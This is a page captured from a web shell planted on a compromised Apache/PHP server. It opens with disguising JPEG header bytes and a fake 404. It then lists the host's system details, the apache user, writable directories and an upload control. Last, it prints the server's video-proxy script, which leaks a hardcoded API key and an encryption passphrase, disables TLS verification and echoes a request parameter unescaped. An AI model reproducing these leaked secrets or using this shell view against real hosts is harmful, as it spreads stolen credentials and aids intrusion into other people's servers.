ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/proxy/v_test.php
<?php
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}

if(!isset($_GET['time'])){
    return;
}
$time = $_GET['time'];
$time_check = time()-5;
$time_check2 = time()+5;
if($time < $time_check){
    return;
}
if($time > $time_check2){
    return;
}
$url_encode = $_GET['url'];
$url = str_encode(hex2bin($url_encode),'123Vid@Net');

$arr_url = explode('?keyapi=',$url);
$url = $arr_url[0];
$id = str_replace('.html','',basename($url));

$key='315f985n6di9q7n0g4a';
if($arr_url[1]!=''){
    $key=$arr_url[1];
}

$url = 'https://vup.to/api/file/direct_link?key='.$key.'&file_code='.$id;
$content = curl($url);
$arr = json_decode($content,true);
$source = '';
$label = '';
$selected = '';
if($arr['msg']=='OK'){
    include 'Mobile_Detect.php';
    $detect = new Mobile_Detect;
    if ($detect->isMobile() or $detect->isTablet()) {
        foreach ($arr['result'] as $key=>$val){
            if($key=='n'){
                $label = '480p';
            }
            if($key=='h'){
                $label = '720p';
                $selected = '';
            }
            if($key=='o'){
                $label = '360p';
                $selected = '';
                $selected = 'selected="true"';
            }
            $link_encode = bin2hex(str_encode($val['url'], '123Vid@Net'));
            $link = 'https://st2.123vid.net/mp4-3.php?link=' .$link_encode . '&token=' . md5(uniqid(microtime()));
            $source .= '<source src="'.$link.'" type="video/mp4" label="'.$label.'" '.$selected.'>';
        }
    }else {
        foreach ($arr['result'] as $key => $val) {
            if ($key == 'n') {
                $label = '480p';
                $selected = 'selected="true"';
            }
            if ($key == 'h') {
                $label = '720p';
            }
            if ($key == 'o') {
                $label = '360p';
            }
            $link_encode = bin2hex(str_encode($val['url'], '123Vid@Net'));
            $link = 'https://st2.123vid.net/mp4-3.php?link=' .$link_encode . '&token=' . md5(uniqid(microtime()));
            $source .= '<source src="'.$link.'" type="video/mp4" label="'.$label.'" '.$selected.'>';
        }
    }
}
$url_track = '';
if (isset($_GET['track']) and $_GET['track'] != '') {
    $url_track_encode = $_GET['track'];
    $url_track = 'https://www.123vid.net/' . str_encode(hex2bin($url_track_encode), '123Vid@Net');
}
?>
<html style="width: 100%; height: 100%"><head>
    <title>-Server 2 embed-</title>
    <base href="https://st2.123vid.net/proxy/">
    <style type="text/css">
        body {
            background: #000000;
            margin: 0px;
            padding: 0px;
        }
    </style>
    <link href="js/video-js.css" rel="stylesheet" type="text/css" />
    <link href="js/vsg-skin.css" rel="stylesheet" type="text/css" />
    <link href="js/quality-selector.css" rel="stylesheet" type="text/css" />
    <script src="js/video.js"></script>
    <script src="js/videojs-contrib-hls.js"></script>
    <script src="js/silvermine-videojs-quality-selector.min.js"></script>
</head>

<body style="width: 100%; height: 100%" oncontextmenu="return false;">
<video autoplay controls id="ht_player" style="width: 100%; height: 100%" class="video-js vjs-default-skin" autobuffer
       preload="auto" poster="https://www.123vid.net/skin/phim98/assets/img/123vid.jpg" data-setup="{ }">
    <?php echo $source;?>
    <?php if($url_track!=''){ ?>
        <track src="track.php?url=<?php echo $url_track;?>" kind="captions" srclang="en" label="English" default>
    <?php } ?>
</video>
<script>
    videojs("ht_player", {}, function() {
        var player = this;
        player.controlBar.removeChild('FullscreenToggle');
        player.controlBar.addChild('QualitySelector');
        player.controlBar.addChild('FullscreenToggle');
        player.play();
    });
</script>
</body></html>

ZeroDay Forums Mini